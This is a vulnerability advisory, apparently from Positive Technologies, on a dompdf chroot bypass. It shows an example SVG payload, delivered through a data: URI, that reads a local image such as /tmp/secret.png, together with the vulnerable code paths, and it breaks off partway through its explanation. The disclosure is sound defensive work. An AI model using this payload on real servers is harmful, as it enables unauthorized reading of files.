Description: An attacker, who controls the HTML input supplied to dompdf, can read arbitrary images from the server’s file system, bypassing the chroot restriction. The vulnerability is exploitable in the default configuration.
Exploitation conditions: An external user
Researcher: Nikita Sveshnikov (Positive Technologies)
dompdf restricts access to local files using the chroot mechanism. By default, chroot is set to the root directory of dompdf (Options.php:350-351):
Listing 1. chroot settings
$rootDir = realpath(__DIR__ . "/../");
$this->setChroot(array($rootDir));
// result: chroot = ["/path/to/vendor/dompdf/dompdf"]
When the HTML references a local file, Options::validateLocalUri() checks that the path resides within сhroot. A direct link to the file outside this directory is correctly blocked:
Listing 2. Blocking link
<!-- BLOCKED: /tmp/ is outside chroot -->
<img src="file:///tmp/secret.png">
An attacker wraps the link to the target file in SVG format and delivers it via data: URI:
Listing 3. Wrapping link in SVG
<img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0i...">
Inside the base64 payload is an SVG containing the <image> element that points to the target file:
Listing 4. Pointing to the target file
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
width="589" height="415">
<image xlink:href="/tmp/secret.png" x="0" y="0" width="589" height="415"/>
</svg>
The issue is that dompdf handles the SVG twice: first through its own validator and then via php-svg-lib — and the second pass does not apply the protection that the first pass does.
Step 1. The data:// protocol has no validation rules (Options.php:546-547):
Listing 5. Lack of rules
case "data://":
break; // no rules
SVG content passes without any checks.
Step 2. dompdf pre‑parses the...
3.1.6Exploitability
AV:NAC:LAT:PPR:NUI:NVulnerable System
VC:LVI:NVA:NSubsequent System
SC:NSI:NSA:N6.3/CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N